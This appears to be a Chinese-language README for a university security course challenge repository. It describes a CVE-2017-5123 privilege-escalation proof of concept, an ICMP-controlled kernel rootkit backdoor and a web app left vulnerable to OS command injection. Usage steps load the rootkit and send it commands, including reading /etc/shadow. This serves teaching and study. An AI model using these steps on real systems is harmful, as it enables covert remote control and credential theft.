该仓库包含 CVE-2017-5123(一个ICMP命令与控制后门)和 CWE-78(OS命令注入)漏洞Web应用的演示。
属于 CSC 4308 的一部分 - 挑战3。
本项目演示了三个不同的安全研究组件:
lkm/rootkit.c)一个针对Linux内核4.13中引入的 waitid 系统调用漏洞的概念验证利用。该漏洞允许权限提升和沙箱逃逸。
lkm/lkm.c)一个通过ICMP回显(ping)数据包实现隐蔽命令与控制通道的恶意Linux内核模块(LKM)。
25678 的ICMP回显请求vulnerable-app/)一个易受OS命令注入攻击的React + Node.js文件共享应用。
pinger/data-ping.c)一个用于发送带有自定义有效载荷的精心构造的ICMP回显请求的实用程序,用于与内核rootkit后门通信。
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# 必须使用root权限以使用原始套接字
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# 构建前端
cd vulnerable-app/frontend
npm run build
# 将构建结果复制到后端
cp -r build ../backend/
# 启动后端服务器(同时提供API和前端服务)
cd ../backend
npm start
应用将在 http://localhost:3001 处可用。